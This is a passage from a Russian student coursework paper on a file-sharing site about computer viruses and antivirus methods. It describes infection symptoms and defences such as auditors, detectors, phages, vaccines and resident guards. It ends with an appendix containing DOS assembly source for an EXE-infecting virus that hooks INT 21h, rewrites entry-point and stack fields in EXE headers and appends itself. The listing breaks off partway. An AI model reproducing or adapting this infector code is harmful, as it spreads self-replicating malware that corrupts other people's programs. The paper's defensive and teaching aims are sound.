48468 (Работа с каталогами и подкаталогами. Работа с файлами), страница 2

2016-07-30СтудИзба

Описание файла

Документ из архива "Работа с каталогами и подкаталогами. Работа с файлами", который расположен в категории "". Всё это находится в предмете "информатика" из 1 семестр, которые можно найти в файловом архиве . Не смотря на прямую связь этого архива с , его также можно найти и в других разделах. Архив можно найти в разделе "курсовые/домашние работы", в предмете "информатика, программирование" в общих файлах.

Онлайн просмотр документа "48468"

Текст 2 страницы из документа "48468"

3. Полноценные Windows-вирусы. Пока преобладает, скажем так, не резидентный подход. Заражается ЕХЕ – файл (формат NE или РЕ). При запуске такой программы вирус активизируется на время, необходимое для поиска программы-жертвы. Появились также вирусы с иным механизмом поражения. В частности, запись вируса в виде VXD-файла. Вирус также корректирует SYSTEM.INI, так чтобы данный «драйвер» загружался каждый раз при загрузке Windows.

SYSTEM.INI используется также для заражения программ, всегда загружаемых при запуске WINDOWS. Вообще понятие резидентной программы в Windows потеряло свой смысл. Любая программа может быть резидентной, т.е. находится в памяти при запуске и работе других программ. Следовательно, любой вирус, заразивший ту или иную программу и не удаляющий себя из памяти при запуске, может быть резидентным. Вопрос заключается лишь в том, может он активизироваться или нет при активизации зараженной программы.

  1. Борьба с вирусами

Мы попробовали провести некоторую классификацию проявлений вирусов. По этим признакам можно судить о присутствии вирусов на диске или в памяти, не имея специальных средств:

а) Изменение длины программ. Не многим вирусам удается не менять длины программы. Некоторые вирусы пытаются так подкорректировать длину, чтобы ее изменение было незаметно. Например, не садятся на слишком короткие программы, корректируют длину так, чтобы она изменилась на 1000 байт (не так заметно) и т.д.

б) Нехватка памяти. Некоторые программы сообщают о нехватке памяти, некоторые выдают сообщения об ошибке или зависают. В любом случае это должно Вас насторожить. в) Когда вирус «садится» на программу, то происходит автоматическая корректировка времени и даты файла. Если вирус не восстанавливает старые значения, то это может служить хорошим признаком несанкционированного доступа к Вашей программе. Интересно, что установка во времени корректировки файла 62 секунды (проверьте, что установить 63 или 61 секунду невозможно, и объясните почему) является для многих вирусов признаком зараженности программы.

г) Проявления, связанные с развлекательными функциями вируса. Это могут быть необычные или шутливые сообщения, странные явления на экране (осыпание букв и т.д.), звуковые сигналы и музыка и т.д.

д) Проявления, связанные с разрушительными функциями вирусов. Это может быть неожиданно переставшая запускаться программа, испорченная база данных, не запускающаяся дискета, странные зависания системы и т.д.

е) Проявления, связанные с некорректной работой вируса или наличием ошибок в нем. Классическим примером может служить отсутствие обработки критических ошибок для MS DOS (см. Глава 9). Некоторые вирусы, заражая программу, безнадежно портят ее (иногда ошибка, а иногда и намеренные действия). Часто вирусы некорректно работают с операционной системой. Например, не работают на DOS 6.0. Портят содержимое регистров при входе в программу. Проявлений здесь огромное количество. Некорректная загрузка Windows также должна Вас насторожить.

ж) Иногда о наличии в программе вируса можно судить по присутствию в нем некоторых характерных строк, которые можно обнаружить даже при «текстовом» просмотре. Вот эти типичные строки: *.СОМ, *.ЕХЕ, РАТН=, COMMAND.

«Умные» вирусы, однако, шифруют строки, подобные этим.

з) Нерезидентные вирусы после запуска зараженной программы должны найти новую жертву, прежде чем передать управление программе. Поиск, вообще говоря, может потребовать времени. Поэтому отмечайте для себя те случаи, когда некоторые программы начнут запускаться медленнее обычного.

Появление новых операционных систем, таких, как Windows, вносит серьезные коррективы в дело обнаружения вирусов. Сразу скажу, что обнаружение вирусов способами, описанными выше, становится все менее и менее возможным. Из-за огромного количества файлов как в самой операционной системе, так и в используемых пакетах, никто уже не просматривает списки файлов. Да и сами программы запускаются или с рабочего стола, или из меню. Наличие же ошибок в операционных системах Windows 95 и Windows 98 приучает пользователей к не совсем корректной работе системы. Зависания, некорректные загрузки и неожиданные перезагрузки компьютера теперь списывают на систему, а о вирусах забывают. Все это достаточно печально и наводит на мысль о том, что компьютерным вирусам далее будет жить все вольготнее. Наше время ознаменовано также широким распространением локальных и глобальных компьютерных сетей, что еще в большей степени усложняет возможность обнаружения вируса. Сейчас наработан довольно большой арсенал программных средств защиты от вирусов. Ниже перечисляются эти средства защиты. Антивирусные ревизоры. Суть работы этих программ заключается в том, что состояние программ, системных файлов, boot-секторов и т.п. запоминается. При запуске ревизора происходит сравнение контрольных сумм. При обнаружении изменений выдается сообщение или производятся, какие-либо другие действия. Разумеется, ревизор не может точно сказать, обнаружен вирус или изменения вызваны другими причинами. Основным требованием, предъявляемым к таким программам, является умение обнаружить изменения, производимые вирусом, даже если вирус находится в памяти. Ревизия должна производиться по крайней мере каждый раз после запуска операционной системы. Существуют резидентные ревизоры, которые могут проверять контрольную сумму программы перед самым ее запуском.

Детекторы. Эти программы рассчитаны на вполне определенные вирусы, которые ищутся по сигнатуре – строке, содержащейся в теле вируса. Некоторые детекторы позволяют пользователю пополнять список сигнатур. Использование таких программ достаточно ограниченно. Новые вирусы появляются с огромной быстротой, и даже авторы самых знаменитых и эффективных детекторов не поспевают за ними.

Фаги. Программы, позволяющие восстанавливать (лечить) зараженные файлы. Обычно такие программы имеют и встроенный детектор. Данные программы весьма опасны, т.к. часто портят восстанавливаемые файлы. Весьма незначительные изменения в вирусе могут привести к изменению длины вируса или отдельных его частей и даже способа заражения. После чего попытка излечить программу отданного вируса скорее всего приведет к порче программы. Вакцины и вакцинация. Идея заключается в попытке обмануть вирус. Большинство вирусов перед тем как «сесть» на программу проверяет, не заражена ли уже она. Для этого в теле программы в определенном месте ищется специальная метка. Если в нужное место программы поместить эту метку, то программа тем самым будет защищена отданного вируса. Резидентная программа-вакцина находится в памяти и имитирует наличие там вируса. При запуске зараженной программы вирус проверяет наличие себя в памяти по определенным признакам. Вакцина обманывает вирус, не позволяя ему остаться в памяти. Легко сообразить, что количество вирусов, от которых можно уберечься таким способом, невелико. Трудно себе представить вакцинацию, скажем, от ста вирусов одновременно. Такой метод можно эффективно использовать лишь во время эпидемий на машинах со многими пользователями. Резидентные сторожа. Сторож–это программа, позволяющая выявить или блокировать несанкционированные действия в системе. Таковым может быть либо заражение программы, либо попытка остаться в памяти резидентно. Отслеживанием прерываний и сравнением объема свободной памяти до и после запуска программы это сделать не так уж трудно. Проблема заключается в том, что запись на диск производится довольно часто, и сторож должен проявлять определенную «интеллектуальность», реагируя лишь на подозрительные операции.

Программа может иметь и своего собственного сторожа, который запускается при запуске программы и далее проверяет возможность ее заражения. В конце главы приводятся примеры того, как в принципе может быть построен такой сторож.

6. Постановка задачи

Продемонстрировать стандартный способ заражения. ЕХЕ – файлов.

В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.

Заключение

Ныне существует немало разновидностей вирусов, различающихся по способу распространения и функциональности. Если изначально вирусы распространялись на дискетах и других носителях, то сейчас доминируют вирусы, распространяющиеся через Интернет. Растёт и функциональность вирусов, которую они перенимают от других видов программ: руткитов, бэкдоров (создают «чёрный ход» в систему), кейлоггеров (регистрация активности пользователей), программ-шпионов (крадут пароли от банковских счётов и номера кредитных карт), ботнетов (превращают заражённые компьютеры в станции по рассылке спама или в часть компьютерных сетей, занимающихся спамом и прочей противоправной активностью).

Создание и распространение компьютерных вирусов и вредоносных программ преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).

Список литературы

  1. Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.

  2. http://www.codenet.ru/cat/Languages/Assembler/

Приложение А

Это – программа, пример стандартного заражения

ЕХЕ-файлов

ASSUME CS: CodeSegment

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial

;

;

f_number: DW 0

;

;

saved_int21: DD 0

;

;

;

int21_treater:CMP AH, 4Bh

JE begin

JMP retro

begin: PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

MOV DI, DX

resend_again: INC DI

CMP byte ptr DS: [DI], 0

JNE resend_again

CMP word ptr DS: [DI-2], 4558h

JNE to_no_exe

CMP word ptr DS: [DI-4], 452Eh

JE thats_exe

to_no_exe: JMP no_exe

thats_exe:

MOV CX, 0

MOV AH, 3Dh

MOV AL, 2

CALL call_int21

MOV word ptr CS: [f_number-100h], AX

PUSH CS

POP DS

MOV AH, 3Fh

MOV DX, OFFSET data_exe – 100h

MOV CX, 20h

MOV BX, word ptr CS: [f_number-100h]

CALL call_int21

CMP word ptr DS: [data_exe – 100h + 0Ah], 50h

JNE thats_clear

JMP no_exe

thats_clear:

MOV word ptr DS: [data_exe – 100h + 0Ah], 50h

MOV AX, word ptr CS: [data_exe – 100h + 14h]

MOV word ptr CS: [saved_ip – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 16h]

MOV word ptr CS: [saved_cs – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 10h]

MOV word ptr CS: [saved_sp – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 0Eh]

MOV word ptr CS: [saved_ss – 100h + 1], AX

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 2

MOV AH, 42h

CALL call_int21

PUSH AX

PUSH DX

MOV BX, 200h

DIV BX

INC AX

ADD DX, 1C3h

CMP DX, 200h

JB no_add

INC AX

SUB DX, 200h

no_add: MOV word ptr CS: [data_exe – 100h + 2h], DX

MOV word ptr CS: [data_exe – 100h + 4h], AX

POP DX

POP AX

PUSH AX

MOV AX, DX

MOV BX, 1000h

MUL BX

POP DX

;

CMP AX, 0

JE sub_dx

sub_ax: SUB AX, word ptr CS: [data_exe – 100h + 8h]

JMP short length_got

sub_dx: PUSH AX

PUSH DX

MOV AX, word ptr CS: [data_exe – 100h + 8h]

MOV BX, 10h

MUL BX

POP DX

SUB DX, AX

POP AX

length_got:

MOV word ptr CS: [M1 – 100h +1], DX

MOV word ptr CS: [data_exe – 100h + 14h], DX

MOV word ptr CS: [data_exe – 100h + 16h], AX

ADD AX, 50h

MOV word ptr CS: [data_exe – 100h + 10h], DX

MOV word ptr CS: [data_exe – 100h + 0Eh], AX

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET my_head-100h

MOV CX, my_end – my_head

MOV AH, 40h

CALL call_int21

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 0

MOV AH, 42h

CALL call_int21

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET data_exe-100h

MOV CX, 20h

MOV AH, 40h

CALL call_int21

to_close: MOV BX, word ptr CS: [f_number-100h]

MOV AH, 3Eh

CALL call_int21

no_exe: POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS: [saved_int21–100h]

call_int21:

PUSHF

CALL dword ptr CS: [saved_int21–100h]

RET

initial: PUSH DS

PUSH ES

Свежие статьи
Популярно сейчас
А знаете ли Вы, что из года в год задания практически не меняются? Математика, преподаваемая в учебных заведениях, никак не менялась минимум 30 лет. Найдите нужный учебный материал на СтудИзбе!
Ответы на популярные вопросы
Да! Наши авторы собирают и выкладывают те работы, которые сдаются в Вашем учебном заведении ежегодно и уже проверены преподавателями.
Да! У нас любой человек может выложить любую учебную работу и зарабатывать на её продажах! Но каждый учебный материал публикуется только после тщательной проверки администрацией.
Вернём деньги! А если быть более точными, то автору даётся немного времени на исправление, а если не исправит или выйдет время, то вернём деньги в полном объёме!
Да! На равне с готовыми студенческими работами у нас продаются услуги. Цены на услуги видны сразу, то есть Вам нужно только указать параметры и сразу можно оплачивать.
Отзывы студентов
Ставлю 10/10
Все нравится, очень удобный сайт, помогает в учебе. Кроме этого, можно заработать самому, выставляя готовые учебные материалы на продажу здесь. Рейтинги и отзывы на преподавателей очень помогают сориентироваться в начале нового семестра. Спасибо за такую функцию. Ставлю максимальную оценку.
Лучшая платформа для успешной сдачи сессии
Познакомился со СтудИзбой благодаря своему другу, очень нравится интерфейс, количество доступных файлов, цена, в общем, все прекрасно. Даже сам продаю какие-то свои работы.
Студизба ван лав ❤
Очень офигенный сайт для студентов. Много полезных учебных материалов. Пользуюсь студизбой с октября 2021 года. Серьёзных нареканий нет. Хотелось бы, что бы ввели подписочную модель и сделали материалы дешевле 300 рублей в рамках подписки бесплатными.
Отличный сайт
Лично меня всё устраивает - и покупка, и продажа; и цены, и возможность предпросмотра куска файла, и обилие бесплатных файлов (в подборках по авторам, читай, ВУЗам и факультетам). Есть определённые баги, но всё решаемо, да и администраторы реагируют в течение суток.
Маленький отзыв о большом помощнике!
Студизба спасает в те моменты, когда сроки горят, а работ накопилось достаточно. Довольно удобный сайт с простой навигацией и огромным количеством материалов.
Студ. Изба как крупнейший сборник работ для студентов
Тут дофига бывает всего полезного. Печально, что бывают предметы по которым даже одного бесплатного решения нет, но это скорее вопрос к студентам. В остальном всё здорово.
Спасательный островок
Если уже не успеваешь разобраться или застрял на каком-то задание поможет тебе быстро и недорого решить твою проблему.
Всё и так отлично
Всё очень удобно. Особенно круто, что есть система бонусов и можно выводить остатки денег. Очень много качественных бесплатных файлов.
Отзыв о системе "Студизба"
Отличная платформа для распространения работ, востребованных студентами. Хорошо налаженная и качественная работа сайта, огромная база заданий и аудитория.
Отличный помощник
Отличный сайт с кучей полезных файлов, позволяющий найти много методичек / учебников / отзывов о вузах и преподователях.
Отлично помогает студентам в любой момент для решения трудных и незамедлительных задач
Хотелось бы больше конкретной информации о преподавателях. А так в принципе хороший сайт, всегда им пользуюсь и ни разу не было желания прекратить. Хороший сайт для помощи студентам, удобный и приятный интерфейс. Из недостатков можно выделить только отсутствия небольшого количества файлов.
Спасибо за шикарный сайт
Великолепный сайт на котором студент за не большие деньги может найти помощь с дз, проектами курсовыми, лабораторными, а также узнать отзывы на преподавателей и бесплатно скачать пособия.
Популярные преподаватели
Нашёл ошибку?
Или хочешь предложить что-то улучшить на этой странице? Напиши об этом и получи бонус!
Бонус рассчитывается индивидуально в каждом случае и может быть в виде баллов или бесплатной услуги от студизбы.
Предложить исправление
Добавляйте материалы
и зарабатывайте!
Продажи идут автоматически
5120
Авторов
на СтудИзбе
444
Средний доход
с одного платного файла
Обучение Подробнее